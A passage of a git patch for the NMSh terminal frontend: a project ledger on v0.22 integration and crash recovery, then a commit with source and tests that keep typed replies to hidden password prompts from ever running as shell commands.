marker never arrived; the typed answer stayed held, safely). +- **#443:** three Ubuntu Fish 3.7.0 failures where output or NMSh's markers from Fish never reached NMSh, one with `write: Interrupted system call`. Not reproduced with Fish 4.9.3 on macOS. Unverified hypothesis: `SIGWINCH` from NMSh's terminal resizes interrupting Fish 3.7 writes. + +## Integration plan (after v0.21 ships; nothing merges before) + +**Order:** #435 → #433 → #437 → #442 → #438 → #441 → #434 → #439 → #440. +- **#437 now contains #433** (merged into it, `4556dfab`). Its combined fix (`e2776680`) settles held typing as typing for a command that ended when the shell says it is done, and keeps evidence of hidden input; see #437. +- **#441 is based on #438.** Retarget it to `dev` once #438 is in. +- **#442 goes early,** so that later CI runs are meaningful. +- **#439 after #434.** Then add the combined test kept in scratch (`zzViewChosenEditor`): `o` in `/view` composes the chosen terminal editor's command. It passes on the candidate. + +**Candidate, built 2026-10-19:** `integration/v022-candidate` = `a8b383c2` plus the nine merges in that order. First head `56da3c56`; after #437's two follow-ups (merged in again), head `567cf533`, tree `2b23866e`. Pushed, with no PR. +- **Conflicts:** the CHANGELOG only, for #439 and #440. Rule: keep every line, and put the incoming bullets at the end of the section they belong to. +- **Verified on the candidate:** + - type check: clean; + - deterministic suites: 61/61 (input ownership, including the combined tests), 83/83 (history, indicator, Keep Awake, composer, viewer, editors) and 199/199 (Ask with its coverage audit, Setup, Settings, providers); + - live: `promptHookLive` 2/2, `typingAfterRead` 3/3, `inputOwnershipLive` 6/6, `commandQueueLive` 19/19; + - the combined `/view` editor check: passes. +- **First CI run** ([39196110708](https://github.com/raiseCatError/notMyShell/actions/runs/39196110708), `56da3c56`): all jobs green except Ubuntu shard 2. `typingAfterRead` zsh timed out waiting for the journal record of `echo NEXT-ahead3` after a `read -s`. + - **Not a flake:** a regression in #437's combined fix. Type-ahead after answering a hidden question was discarded, because a look still saw the answered question. + - **Fixed in #437 (`e391bcb0`);** the automated security review then found that grace unbounded (a second hidden question's reply could run), fixed in `807d3c03`. + - Regression tests for all three cases; input suites 64/64. +- **Second CI run** ([39197269209](https://github.com/raiseCatError/notMyShell/actions/runs/39197269209), `567cf533`): **all green**. Every job passed: Detect, Quality, Node 22, Tests on macOS and Ubuntu (both shards), the Fedora subset, timing smoke on both, and Verify 22.x and 26.x. +- **Not run:** a full local `npm run verify`, since this 8 GB machine already panicked under memory pressure (see below). + +**When v0.21 ships:** +1. Rebuild the candidate from the released `dev`. `[Unreleased]` becomes `[0.21.0]`, and v0.22's entries move into a new `[Unreleased]`. +2. Run `npm run verify` and `verify:release` on its head at reasonable memory (several GB free, no swap storm), CI, and physical QA passes 1–6. +3. Land the PRs in the same order, with the same resolutions. +4. Before announcing, confirm that `dev`'s tree equals the tested head's tree (`git rev-parse HEAD^{tree}`). Any difference means another pass. + +**Separate, later slice: remote bring-your-own-key providers for Ask (#432).** These are Anthropic and OpenAI-compatible, configured by environment-variable name only, after a security and credential-handling review. They are not part of the combined pass above. + +## Crash recovery (2026-10-19) and findings for the test-resource pass + +The machine (8 GB) had a kernel panic: a watchdog timeout with compressed memory full, ten swapfiles and low swap. No v0.22 work was lost. +- **Recovered:** + - every branch matched its remote; + - the candidate was intact; + - this ledger's edits were uncommitted but intact; + - the scratch evidence was complete, with nothing written after the reboot; + - no test of this workstream was running at the panic; + - `git fsck --connectivity-only` found no missing objects. + +Findings for the planned performance and test-resource pass: +- **Local full runs on 8 GB are not trustworthy beside other agents and Chrome.** Two of them in this session were wrecked by memory exhaustion (113 and 29 failures, almost all startup timeouts and starved benchmarks). Focused files, one at a time, plus CI gave clean results. +- **Running focused tests while a full run is going** starved both. Runs should be strictly sequential, and a full run should refuse to start below a memory threshold. +- **Live tests spawn a frontend, a session service and a shell each.** With the runner's concurrency on top, they are the main memory cost; a cap tied to free memory would help. +- **Screen-text waits are fragile under load.** The journal (`Frontend.completions`) is the deterministic signal; other screen-text waits should move to it. +- **Orphans:** processes from other worktrees' live sandboxes (two days old, reparented to `launchd`) were found before the panic, so interrupted runs can leave sandboxes behind. Sandbox teardown after a crash needs an owner-checked cleanup. +- **Storage:** all scratch, caches and worktrees were on the T7. The internal SSD was at 96%, which leaves little room for swap. + ## Physical QA still required Checklist: [v0.22 physical QA](../testing/v022-physical-qa.md), one pass per PR. Nothing in v0.22 has had a physical From 6486d9c5fa0718c26b9c6358d99e2295ec9c8544 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 13:47:16 +0530 Subject: [PATCH 074/157] Input ownership: a possible password never runs as a command by itself Security review of #426 for the release. Two paths still let a hidden reply run as a shell command: 1. After NMSh answered a hidden question, a look that still saw hidden input was attributed to that question for 1 s, and if the command then ended the held typing ran as the next command. A second question with no prompt that gave up first (a timed read) is indistinguishable, and a time window is no proof. Such typing now waits at the prompt, hidden, until the person chooses: Tab shows it in the composer (their Enter runs it), Esc or Ctrl+C discards it. No timer, later look or next command settles it. The window now only separates a probable reply (discarded) from unconfirmed typing (held); it never lets typing run. 2. A reply typed and entered before a question with no prompt existed (the command working with the terminal echoing) is queued like any command. When the command then asks for hidden input, the entries queued while it ran wait for approval (an older service without per-entry approval pauses the queue), so a successful exit no longer runs the password. Each question is checked once; entries queued before the command, or with Ctrl+Q during the question, stay as they are. The question's "since" is no boundary: the watch can date it to when the shell went idle (a sleep before the read). NMSH_DEBUG_KEYS never logs typing held at the prompt. Regressions: tests/inputOwnershipSecrets.test.ts (10, deterministic; 6 fail before this change) and tests/inputOwnershipSecretsLive.test.ts (zsh and Bash: on 567cf533 the second password ran and entered NMSh's journal; with this change it never runs and is not in the shell's history file). The #437 test that expected type-ahead after a hidden answer to run by itself now expects it held, then run once on Tab and Enter. typingAfterRead accepts that held outcome only for typing ahead during a hidden read, and still requires the command to run once. --- src/app/TerminalApp.ts | 101 ++++++-- src/status/inputStatus.ts | 8 + tests/inputOwnershipDone.test.ts | 14 +- tests/inputOwnershipSecrets.test.ts | 321 ++++++++++++++++++++++++ tests/inputOwnershipSecretsLive.test.ts | 66 +++++ tests/typingAfterRead.test.ts | 21 +- 6 files changed, 509 insertions(+), 22 deletions(-) create mode 100644 tests/inputOwnershipSecrets.test.ts create mode 100644 tests/inputOwnershipSecretsLive.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 14435bf2..601be6b1 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -211,7 +211,7 @@ import {PATH_DISPLAY_LEVELS} from '../prompt/pathDisplay.js'; import {completedActivity, liveActivityParts} from '../status/activity.js'; import {ACTIVITY_VERBS, selectActivityVerb, type ActivityVerbPair} from '../status/activityVerbs.js'; import {OpenLine, promptShaped} from '../session/openLine.js'; -import {completionWaitFact, heldInputActions, heldInputRows, inputActivityRows, inputComposerHint, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; +import {completionWaitFact, heldAtPromptActions, heldInputActions, heldInputRows, inputActivityRows, inputComposerHint, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; import {pauseReason, pausedGlyph, queueGlyph, queuePreview, queueRow, queueBlock, type QueueAffordance} from '../status/queueStatus.js'; import {queueSettingsPreview} from '../status/queueSettingsPreview.js'; import {queuePanelKey, renderQueuePanel, type QueuePanelState} from '../queue/QueuePanel.js'; @@ -221,7 +221,7 @@ import {buildQueueSummary, recognizedExecutables, reviewedTextSafe, type QueueSu import type {QueueTimeline} from '../session/ExecutionTimeline.js'; import type {QueueEntry, QueueState} from '../session/CommandQueue.js'; import type {QueueNews} from '../session/SessionClient.js'; -import {directInput, type InputState, type InputTiming, type LookResult} from '../session/inputState.js'; +import {directInput, type InputRequest, type InputState, type InputTiming, type LookResult} from '../session/inputState.js'; import {directKeyBytes} from '../terminal/keyBytes.js'; import {extractFacts} from '../status/adapters.js'; import {focusForeground, foreground, background, UI_COLORS, lazyForeground} from '../ui/palette.js'; @@ -429,7 +429,11 @@ const STOP_TYPE_AHEAD_MS = 2000; const OWNERSHIP_LOOK_MS = 5000; /** A look still running after this long (a loaded machine) says so in the composer: the typing is kept, not lost. */ const OWNERSHIP_LOOK_SLOW_MS = 800; -/** Typing begun this soon after an answer to a hidden question is type-ahead for what comes next, not that reply. */ +/** + * Typing begun this soon after an answer to a hidden question may be type-ahead for what comes next rather than a reply + * to a newer question. This only decides whether held typing counts as a probable reply (discarded) or as unconfirmed + * (left for the person at the prompt); it never lets typing run while a look saw hidden input (#426 review). + */ const HIDDEN_ANSWER_TYPE_AHEAD_MS = 1000; /** How held keys end: on the evidence (route), dropped, sent to the program as typed, or shown in the composer. */ type HoldSettle = 'route' | 'discard' | 'send' | 'reveal'; @@ -447,6 +451,15 @@ interface OwnershipHold { ended: boolean; /** A look saw hidden input: the typing may be a password, so a command that ends never runs it. */ sawHidden: boolean; + /** + * A look saw hidden input right after NMSh answered a hidden question: that question still closing, or a newer one + * with no prompt. NMSh cannot tell which, so a command that ends never runs this typing either: it waits at the prompt. + */ + sawAnsweredHidden: boolean; + /** The command ended with the typing unconfirmed: held, hidden, at the prompt until the person shows or discards it. */ + atPrompt: boolean; + /** The command line's first word, as the person saw it running. */ + program: string; settle: (how: HoldSettle) => void; } /** How long after confirming a queue review an empty Enter is not sent to the command that just started. */ @@ -879,6 +892,8 @@ export class TerminalApp { * type-ahead, and a look that still sees that question is not new evidence; a newer question ends this at once. */ private hiddenAnswer?: {startId: number; at: number}; + /** The running command's hidden question whose queued entries were last checked (a question is reported repeatedly). */ + private hiddenQueueCheck?: {startId: number; since: number}; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -1414,8 +1429,9 @@ export class TerminalApp { private readonly onInput = (data: string): void => { // Before probes classify a read, or inside a native reader, input can already be sensitive. - // Key diagnostics therefore observe only the idle composer, never startup or running-program input. - if (process.env.NMSH_DEBUG_KEYS === '1' && !this.running && !this.startupPending && !this.passthrough && !this.externalPassthrough) { + // Key diagnostics therefore observe only the idle composer, never startup or running-program input, nor typing held + // at the prompt because it may be a reply to hidden input (#426). + if (process.env.NMSH_DEBUG_KEYS === '1' && !this.running && !this.ownershipLook && !this.startupPending && !this.passthrough && !this.externalPassthrough) { this.logEditorKeyInput(data); } if (this.passthrough && !this.startupPending) { @@ -2330,6 +2346,8 @@ export class TerminalApp { // Ctrl+C is never held, and what was typed before it whose reader NMSh did not know is discarded, as a terminal // flushes its input queue on an interrupt: it never becomes a queued entry or the next command (#426). if (key.kind === 'interrupt') hold.settle('discard'); + // Held at the prompt there is no program to send it to: only showing or discarding it settles it. + else if (hold.atPrompt && key.kind === 'sendToProgram') return; else if (hold.uncertain && key.kind === 'sendToProgram') { hold.settle('send'); return; } else if (hold.uncertain && key.kind === 'complete') { hold.settle('reveal'); return; } else if (hold.uncertain && key.kind === 'escape') { hold.settle('discard'); return; } @@ -11470,8 +11488,9 @@ export class TerminalApp { const queue = listed?.[0] ?? this.queueLine(columns); if (!this.running) return queue ? (listed ? ['', queue] : [queue, '']) : []; const request = this.inputState?.request; - // Typing held without evidence of who reads it: say so, and how to choose, in the rows a wait would use. - if (this.ownershipLook?.uncertain) return heldInputRows(this.running.command.trim().split(/\s+/u)[0] || 'the command', columns); + // Typing held without evidence of who reads it: say so, and how to choose, in the rows a wait would use. Typing held + // at the prompt for a command that ended is not this command's: the composer says it. + if (this.ownershipLook?.uncertain && !this.ownershipLook.atPrompt) return heldInputRows(this.running.command.trim().split(/\s+/u)[0] || 'the command', columns); // A wait reads top to bottom (headline, then the question) wherever the composer is docked. if (request) { const rows = inputActivityRows({...this.inputState!, request}, this.running.command, this.running.startedAt, this.activityAnimationNow, columns); @@ -11489,6 +11508,8 @@ export class TerminalApp { /** While a command runs, the empty composer says what Enter will do with what you type. */ private composerHint(): {text: string; waiting: boolean} | undefined { + // Typing held when a command ended right after its hidden input: whatever runs now, only the person settles it. + if (this.ownershipLook?.atPrompt && !this.passthrough) return {text: heldAtPromptActions(this.ownershipLook.program), waiting: true}; if (!this.running || this.passthrough || this.queueEdit || this.justStopped()) return undefined; // The program's question keeps the activity rows, so the composer itself says how compose mode ends. if (this.queueCompose) return {text: 'Queue a command · Enter adds it · Esc returns to the program', waiting: false}; @@ -11920,11 +11941,39 @@ export class TerminalApp { this.runningDraft = undefined; this.session.write(typed); } else if (request && draft && !draft.typeAhead && draft.at >= request.since && this.editor.text) draft.answering = true; + if (request?.mode === 'hidden') this.holdQueuedReplies(request); // The evidence a held key waited for has arrived. if (request) this.ownershipLook?.settle('route'); this.render(); } + /** + * A hidden question with no prompt can come after its reply was already typed and entered: with no question to + * answer yet, that Enter queued it as a command (#426, documented limit). When the command asks for hidden input, the + * entries queued while it ran may be that reply: they wait for the person's approval instead of running after it, so + * a password never runs as a shell command by itself. Entries queued before the command started are left as they + * are, and so are those queued while this question is already shown (Ctrl+Q): each question is checked once, when it + * is first reported. Its `since` is no boundary: it can be when the shell went idle (a `sleep` before the `read`). + */ + private holdQueuedReplies(request: InputRequest): void { + const running = this.running; + if (!running || !this.queueAvailable()) return; + if (this.hiddenQueueCheck?.startId === running.startId && this.hiddenQueueCheck.since === request.since) return; + this.hiddenQueueCheck = {startId: running.startId, since: request.since}; + const typed = this.queueState.entries.filter(entry => entry.addedAt >= running.startedAt && entry.condition !== 'approve'); + if (!typed.length) return; + const program = commandWords(running.command)[0] ?? 'The command'; + if (this.queueConditionsAvailable()) { + for (const entry of typed) this.session.queue({op: 'condition', id: entry.id, condition: 'approve'}); + const count = typed.length === 1 ? 'the command queued while it ran waits' : `the ${typed.length} commands queued while it ran wait`; + this.output.addFrontendInteraction(program, `${program} asked for hidden input; ${count} for your approval (/queue), in case one was its reply.`, INFO); + } else { + // An older session service without per-entry approval: the whole queue waits instead. + this.session.queue({op: 'pause'}); + this.output.addFrontendInteraction(program, `${program} asked for hidden input; the queue is paused (/queue), in case a command queued while it ran was its reply.`, INFO); + } + } + /** * Whether this key decides where typing goes while a command runs and NMSh has no evidence yet that the command * waits for input: the first key of a draft, or an Enter that would otherwise queue. @@ -11945,7 +11994,8 @@ export class TerminalApp { * is kept. When the look saw nothing usable, or never answers within OWNERSHIP_LOOK_MS, the typing stays held and * hidden (uncertain) until evidence arrives or the person chooses: Ctrl+S sends it to the program, Tab shows it in * the composer, Esc discards it. It is never routed on a guess. Ctrl+C discards it, as a terminal flushes its input. - * A command that ends while its typing was held past the slow mark never runs it. + * A command that ends while its typing was held past the slow mark never runs it. One that ends while a look saw + * hidden input right after a hidden answer leaves the typing held at the prompt for the person (Tab or Esc). */ private holdForOwnershipLook(key: Key): void { const running = this.running!; @@ -11957,12 +12007,25 @@ export class TerminalApp { let settled = false; const settle = (how: HoldSettle) => { if (settled) return; + // Held at the prompt: no evidence, timer or later command settles it, only the person (Tab, Esc, Ctrl+C). + if (hold.atPrompt && how !== 'reveal' && how !== 'discard') return; + const ended = hold.ended || this.running?.startId !== running.startId; + const doubted = hold.slow || hold.uncertain || hold.sawHidden; + // The command ended while a look still saw hidden input right after NMSh answered a hidden question. The typing + // is the next command or a reply to a second question with no prompt that gave up first; nothing tells them + // apart, and a time window is no proof. It is neither run nor dropped: it waits, hidden, for the person. + if (how === 'route' && ended && !hold.answering && !doubted && hold.sawAnsweredHidden && keys.some(typing)) { + clearTimeout(bound); + clearTimeout(slow); + hold.atPrompt = true; + hold.uncertain = true; + this.render(); + return; + } settled = true; clearTimeout(bound); clearTimeout(slow); if (this.ownershipLook === hold) this.ownershipLook = undefined; - const ended = hold.ended || this.running?.startId !== running.startId; - const doubted = hold.slow || hold.uncertain || hold.sawHidden; if (how === 'discard') { if (doubted) discarded('Your held typing was discarded, not sent or run.'); this.render(); @@ -12010,7 +12073,7 @@ export class TerminalApp { }; // No usable evidence yet: keep the typing held and hidden, and say so (never route it on a guess). const doubt = () => { - if (settled) return; + if (settled || hold.atPrompt) return; if (this.running?.startId !== running.startId || this.passthrough || this.inputState?.request || this.inputState?.terminalOwner) { settle('route'); return; } hold.uncertain = true; this.render(); @@ -12019,11 +12082,12 @@ export class TerminalApp { bound.unref?.(); const slow = setTimeout(() => { hold.slow = true; this.render(); }, OWNERSHIP_LOOK_SLOW_MS); slow.unref?.(); - // Only typing begun just after the answer, with no newer question since, is type-ahead (#433 review): a second hidden - // question that NMSh has not reported yet must still count its reply as possibly a password. + // Only typing begun just after the answer, with no newer question since, may be type-ahead (#433 review): a second + // hidden question that NMSh has not reported yet must still count its reply as possibly a password. const startedAt = Date.now(); const afterHiddenAnswer = () => this.hiddenAnswer?.startId === running.startId && startedAt - this.hiddenAnswer.at <= HIDDEN_ANSWER_TYPE_AHEAD_MS; - const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, ended: false, sawHidden: false, settle}; + const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, ended: false, + sawHidden: false, sawAnsweredHidden: false, atPrompt: false, program, settle}; this.ownershipLook = hold; // A look that saw nothing usable (a probe failed or timed out) gets one more look before the typing is left held: // gathering evidence once more, not waiting longer. An older service does not say what it saw: its answer is @@ -12032,10 +12096,11 @@ export class TerminalApp { const deadline = Date.now() + OWNERSHIP_LOOK_MS; const look = () => void this.lookWhenStarted(running.startId, deadline).then(answered, () => answered('unknown')); const answered = (result: LookResult | undefined) => { - if (settled) return; - // Hidden input seen after NMSh already answered this command's hidden question is that question, still open - // until the read returns: the typing that follows the answer is type-ahead, not a reply. - if (result === 'hidden' && !afterHiddenAnswer()) hold.sawHidden = true; + if (settled || hold.atPrompt) return; + // Hidden input seen just after NMSh answered this command's hidden question is usually that question, open until + // its read returns, and the typing type-ahead; but it can be a second question with no prompt. Either way the + // typing is not a known reply (not discarded) and not known type-ahead (never run by itself if the command ends). + if (result === 'hidden') { if (afterHiddenAnswer()) hold.sawAnsweredHidden = true; else hold.sawHidden = true; } // Nothing runs: the command ended (its done marker can come well before its prompt), so the rules for typing // held by a command that ended apply now, not those for one still running. if (result === 'idle') hold.ended = true; diff --git a/src/status/inputStatus.ts b/src/status/inputStatus.ts index c304c0a7..55f4f9f4 100644 --- a/src/status/inputStatus.ts +++ b/src/status/inputStatus.ts @@ -90,6 +90,14 @@ export function heldInputActions(program: string): string { return `Ctrl+S sends it to ${program} · Tab shows it · Esc discards it`; } +/** + * Typing held at the prompt (#426): the command ended right after hidden input, and NMSh could not tell whether the + * typing was the next command or a reply to a question with no prompt. Nothing typed is shown until the person chooses. + */ +export function heldAtPromptActions(program: string): string { + return `Typed during ${program}'s hidden input · held, not run · Tab shows it · Esc discards it`; +} + /** * The activity rows while typing is held without evidence of who reads it: what happened, then how to choose. Nothing * typed is shown; the person decides, or later evidence does. diff --git a/tests/inputOwnershipDone.test.ts b/tests/inputOwnershipDone.test.ts index ac3b832b..dba3aabb 100644 --- a/tests/inputOwnershipDone.test.ts +++ b/tests/inputOwnershipDone.test.ts @@ -191,7 +191,7 @@ test('done before the prompt: plain type-ahead the look answered quickly is kept } finally { f.dispose(); } }); -test('type-ahead after answering a hidden question is kept when the command ends, though a look still sees that question', async t => { +test('type-ahead after answering a hidden question, while a look still sees hidden input, is never run or dropped: it waits for the person', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); @@ -205,14 +205,22 @@ test('type-ahead after answering a hidden question is kept when the command ends // The next command, typed at once: the read has its answer but has not returned yet. f.type('echo NEXT'); f.enter(); - // A look still sees the question just answered (echo off), then the shell says the command is done. + // A look still sees hidden input (the question just answered, or a second one with no prompt: NMSh cannot tell), + // then the shell says the command is done. A time window after the answer is no proof that this is not a reply. f.answer('hidden'); await settled(); f.answer('idle'); await settled(); f.complete(0); await settled(); - assert.deepEqual(f.adds(), ['echo NEXT'], 'the type-ahead runs next, once; it is not discarded'); + assert.deepEqual(f.adds(), [], 'not queued'); + assert.deepEqual(f.submitted, [], 'not run by itself'); + assert.equal(f.text(), '', 'not drawn'); + assert.match(f.screen(), /held, not run · Tab shows it · Esc discards it/u, 'kept for the person, who knows what it was'); + f.app['onInput']('\t'); + assert.equal(f.text(), 'echo NEXT', 'Tab shows it in the composer'); + f.enter(); + assert.deepEqual(f.submitted, ['echo NEXT'], 'an ordinary command is never lost: it runs once, on the person\'s Enter'); f.nowhere(SECRET, 'the answer itself'); } finally { f.dispose(); } }); diff --git a/tests/inputOwnershipSecrets.test.ts b/tests/inputOwnershipSecrets.test.ts new file mode 100644 index 00000000..6c5338fe --- /dev/null +++ b/tests/inputOwnershipSecrets.test.ts @@ -0,0 +1,321 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueOp} from '../src/session/CommandQueue.js'; +import type {InputRequest, LookResult} from '../src/session/inputState.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #426 security review for the v0.22 release: hidden replies (passwords) next to the timing NMSh cannot observe. + * + * After NMSh sends a hidden answer, a look can still see hidden input: the question just answered (its read has not + * returned yet) or a second question asked with no prompt. NMSh cannot tell these apart, and a time window after the + * answer is not a security boundary. So typing that began while a look saw hidden input is never run by itself: + * a question NMSh then sees gets it as its reply, and a command that ends first leaves it held, hidden, at the prompt + * until the person chooses (Tab shows it, Esc discards it). A reply typed and entered before a question with no prompt + * existed is queued like any command (NMSh could not know); once the command asks for hidden input, such entries wait + * for approval instead of running after it. + * + * Deterministic: looks are promises the test settles, the clock and timers are the test's. No shell runs. + */ + +const SECRET = 'QSECRETQ'; +const SLOW_MS = 800; +const TAB = '\t'; +const settled = () => new Promise(done => setImmediate(done)); +const HELD = /held, not run · Tab shows it · Esc discards it/u; + +function fixture() { + const frame = executionFrameFixture(110, 30); + const written: string[] = []; + const queueOps: QueueOp[] = []; + const submitted: string[] = []; + const dispatched: string[] = []; + let interrupts = 0; + Object.defineProperty(frame.session, 'write', {value: (data: string) => { written.push(data); }, configurable: true}); + Object.defineProperty(frame.session, 'interrupt', {value: () => { interrupts += 1; }, configurable: true}); + // The session's real queue: entries added here are what the session would run after the command. + Object.defineProperty(frame.session, 'queue', {value: (op: QueueOp) => { queueOps.push(op); frame.owner.request(op); }, configurable: true}); + frame.owner.on('state', (_state, news) => { if (news.dispatched) dispatched.push(news.dispatched.text); }); + Object.defineProperty(frame.app, 'submit', {value: async () => { submitted.push(frame.app['editor'].text); frame.app['editor'].clear(); }, configurable: true}); + let looks = 0; + let settle: (result: LookResult | undefined) => void = () => {}; + Object.defineProperty(frame.session, 'lookInput', {value: () => { + looks += 1; + return new Promise<LookResult | undefined>(resolve => { settle = resolve; }); + }, configurable: true}); + const type = (text: string) => { for (const char of text) frame.app['onInput'](char); }; + const text = () => frame.app['editor'].text as string; + const adds = () => queueOps.filter(op => op.op === 'add').map(op => (op as {text: string}).text); + const screen = () => frame.capture().frame.rows.map(line => stripAnsi(line)).join('\n'); + const transcript = () => (frame.app['output'].transcript().lines as Array<Array<{text?: string} | null>>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); + const state = (request?: InputRequest) => frame.session.emit('inputState', {...(request ? {request} : {}), timing: {waitedMs: 0, waits: 0}}); + const hidden = () => state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + /** Never run as a command: not submitted, not dispatched from the queue, not written to the shell. */ + const neverRun = (secret: string, what: string) => { + assert.equal(submitted.some(entry => entry.includes(secret)), false, `${what}: not run from the composer`); + assert.equal(dispatched.some(entry => entry.includes(secret)), false, `${what}: not run from the queue`); + }; + /** Nothing anywhere a person, a log or the shell could read holds the secret. */ + const nowhere = (secret: string, what: string) => { + neverRun(secret, what); + assert.equal(screen().includes(secret), false, `${what}: not on screen`); + assert.equal(text().includes(secret), false, `${what}: not in the composer`); + assert.equal(adds().some(entry => entry.includes(secret)), false, `${what}: not queued`); + assert.equal(written.some(entry => entry.includes(secret)), false, `${what}: not written to the terminal`); + assert.equal(transcript().includes(secret), false, `${what}: not in the transcript`); + }; + /** Answer a hidden question NMSh reported, as the person types it. */ + const answerHidden = (reply: string) => { + hidden(); + frame.tick(200); + type(reply); + frame.app['onInput']('\r'); + assert.equal(written.join('').endsWith(`${reply}\r`), true, 'the answer went to the hidden question'); + }; + return {...frame, written, submitted, dispatched, type, text, adds, screen, transcript, state, hidden, neverRun, nowhere, answerHidden, + key: (data: string) => frame.app['onInput'](data), enter: () => frame.app['onInput']('\r'), + interrupts: () => interrupts, looks: () => looks, answer: (result: LookResult | undefined) => settle(result)}; +} + +/** Consecutive questions with no prompt: the second gives up (a timed read) before NMSh could report it. */ +async function secondReplyHeldAtPrompt(f: ReturnType<typeof fixture>, reply: string) { + f.begin('read -s a; read -s -t 1 b'); + f.answerHidden('first'); + f.tick(20); + // Typed at once for the second question, which has no prompt; NMSh has not reported it. + f.type(reply); + f.enter(); + f.nowhere(reply, 'held'); + // The look sees echo off: the answered question or the new one, NMSh cannot tell. + f.answer('hidden'); + await settled(); + assert.equal(f.looks(), 2, 'hidden input with no question reported: one more look'); + // The second read gives up; the shell says the command is done. + f.tick(500); + f.answer('idle'); + await settled(); + f.complete(1); + await settled(); +} + +test('consecutive hidden questions with no prompt: a reply the second one never took is not run, shown or queued; it waits at the prompt', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + await secondReplyHeldAtPrompt(f, SECRET); + f.nowhere(SECRET, 'at the prompt'); + assert.match(f.screen(), HELD, 'the composer says typing is held and how to choose'); + // Held is not lost to time: no timer settles it. + t.mock.timers.tick(60_000); + await settled(); + f.nowhere(SECRET, 'a minute later'); + assert.match(f.screen(), HELD); + // (A lone ESC byte waits in the key decoder for a possible sequence; the key itself is what Esc delivers.) + f.app['handleKey']({kind: 'escape'}); + f.nowhere(SECRET, 'after Esc'); + assert.doesNotMatch(f.screen(), HELD); + assert.match(f.transcript(), /discarded, not sent or run/u, 'a note says what happened, without the text'); + } finally { f.dispose(); } +}); + +test('typing held at the prompt is the person\'s to show: Tab puts it in the composer, never run until their own Enter', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + await secondReplyHeldAtPrompt(f, 'echo NEXT'); + f.neverRun('echo NEXT', 'held'); + assert.equal(f.text(), '', 'not drawn'); + f.key(TAB); + assert.equal(f.text(), 'echo NEXT', 'shown for review, without its Enter'); + f.neverRun('echo NEXT', 'shown'); + f.enter(); + assert.deepEqual(f.submitted, ['echo NEXT'], 'an ordinary command is never lost; it runs once, on the person\'s Enter'); + } finally { f.dispose(); } +}); + +test('typing held at the prompt: more keys stay held, Ctrl+C discards it all, and nothing reaches the shell or the debug key log', async t => { + const f = fixture(); + const logged: string[] = []; + const saved = process.env.NMSH_DEBUG_KEYS; + try { + t.mock.timers.enable({apis: ['setTimeout']}); + Object.defineProperty(f.app, 'logEditorKeyInput', {value: (data: string) => { logged.push(data); }, configurable: true}); + process.env.NMSH_DEBUG_KEYS = '1'; + await secondReplyHeldAtPrompt(f, SECRET); + f.type('MORE'); + f.enter(); + f.nowhere(SECRET, 'more keys'); + f.nowhere('MORE', 'more keys'); + assert.match(f.screen(), HELD); + f.key('\u0003'); + f.nowhere(SECRET, 'after Ctrl+C'); + f.nowhere('MORE', 'after Ctrl+C'); + assert.doesNotMatch(f.screen(), HELD); + assert.equal(logged.join('').includes(SECRET) || logged.join('').includes('MORE'), false, 'held keys are never logged'); + } finally { + if (saved === undefined) delete process.env.NMSH_DEBUG_KEYS; else process.env.NMSH_DEBUG_KEYS = saved; + f.dispose(); + } +}); + +test('typing held at the prompt never reaches the next command (one started from the queue), and late looks change nothing', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + await secondReplyHeldAtPrompt(f, SECRET); + f.begin('make'); + f.answer('visible'); + f.state({since: Date.now(), confidence: 'likely', mode: 'line'}); + await settled(); + f.nowhere(SECRET, 'while the next command runs and asks'); + f.complete(0); + await settled(); + f.nowhere(SECRET, 'after it'); + assert.match(f.screen(), HELD, 'still the person\'s to choose'); + } finally { f.dispose(); } +}); + +test('a second hidden question NMSh sees while the reply is held gets it, never drawn', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -s a; read -s b'); + f.answerHidden('first'); + f.tick(20); + f.type(SECRET); + f.enter(); + f.answer('hidden'); + await settled(); + f.tick(300); + f.hidden(); + await settled(); + // Keys reach a hidden question one by one, as a terminal sends them. + assert.equal(f.written.join(''), `first\r${SECRET}\r`, 'the second question gets its reply, once, in order'); + f.complete(0); + await settled(); + f.neverRun(SECRET, 'after'); + assert.equal(f.screen().includes(SECRET) || f.text().includes(SECRET) || f.adds().some(entry => entry.includes(SECRET)), false); + assert.doesNotMatch(f.screen(), HELD); + } finally { f.dispose(); } +}); + +test('an ordinary command typed after a hidden answer, once the terminal echoes again, is type-ahead: never held, never discarded', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sudo -k make install', 'Password:'); + f.answerHidden('pw'); + f.state(); + f.tick(300); + f.type('make test'); + f.answer('visible'); + await settled(); + assert.equal(f.text(), 'make test', 'drawn as the next command'); + f.enter(); + f.answer('visible'); + await settled(); + assert.deepEqual(f.adds(), ['make test'], 'queued for after the command'); + f.complete(0); + await settled(); + assert.deepEqual(f.dispatched, ['make test'], 'and runs after it, once'); + assert.doesNotMatch(f.screen(), HELD); + } finally { f.dispose(); } +}); + +test('a reply typed before a later hidden question with no prompt is queued (NMSh could not know), then waits for approval, never running by itself', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -s a; sleep 2; read -s b'); + f.answerHidden('first'); + // The read returned; the command works with the terminal echoing; nothing asks. + f.state(); + f.tick(1500); + f.type(SECRET); + f.answer('visible'); + await 